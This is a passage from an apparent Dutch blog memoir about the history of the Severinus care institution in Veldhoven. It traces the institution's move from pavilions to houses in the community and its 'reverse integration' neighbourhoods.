magazijn, een sanitaire ruimte, een dokters/behandelkamer, een kantoor voor het kader en een nachtdienstkantoortje.
Als weliswaar architectuurbarbaar zag ik noch het revolutionaire, noch het praktische van deze schepping en nauwelijks 20 jaar later kreeg deze revolutie dan ook alweer de absolutie. Kapitaalvernietiging was voor een poos het populairste woord in de paviljoenswandelgangen. De macht van Vermeulen was alomtegenwoordig, want zelfs de tinten van het Severinusvoetbaltenue moesten door deze zondermeer kleurrijke figuur worden gefiatteerd…

De paviljoenspopulatie wordt gevormd door oudere pupillen (destijds waarachtig zo genoemd!) die van thuis kwamen óf van andere instellingen, vooral psychiatrische centra; een onstuitbare exodus, zoals eerder beschreven. De Berkt herbergt hele groepen – ook al zo’n gehospitaliseerde en schier onuitroeibare benaming  –  met oudere, karakteristieke zwakzinnigen, voornamelijk afkomstig van Huize Padua te Boekel.
Aldus ontstaan twee locaties, ’t Honk en De Berkt, die aanvankelijk ook onmiskenbaar elk hun eigen werkcultuur hebben. Daarnaast ontwikkelt zich vanaf de eindjaren ’70 de buitenhuiscultuur, het wonen in huizen buiten de instellinglocaties. Niet onbelangrijk, omdat deze jongen gerust vereenzelvigd mag worden met deze cultuur vanwege het feit dat hij aan de wieg stond van het eerste buitenproject en pas zo’n 27! jaar later als het ware het ouderlijk (buiten)huis heeft verlaten.

Er volgen nog meer buitenhuizen, een logeerhuis en vele dagbestedingprojecten. Midden jaren ’90 ontvouwt zich het masterplan, wat uiteindelijk resulteert in de ‘omgekeerde integratie’, een woonvorm waarmee Severinus furore maakt en op vele plekken navolging krijgt. ’t Honk en De Berkt worden geleidelijkaan ontsloten, de ‘oude’ paviljoens worden afgebroken en voor alle groepen worden nieuwe huizen gebouwd. Tegelijkertijd wordt de grond voor particuliere woningbouw beschikbaar gesteld en zo ontstaan twee wijken waarin Severinusbewoners en Veldhovenaren naast en door elkaar in een en dezelfde wijk wonen. De Berkt behoudt haar naam, ’t Honk wordt omgedoopt tot Akkereind. Zo evolueert Severinus in betrekkelijk korte tijd van de ene naar de andere revolutionaire  huisvesting.
Welke pikantprecaire processen, prikkelende perikelen, saillante signalen en ritselende rituelen met deze (r)evolutie gepaard gingen, kunt u lezen in de volgende afleveringen.

Read Full Post »

%d bloggers liken dit: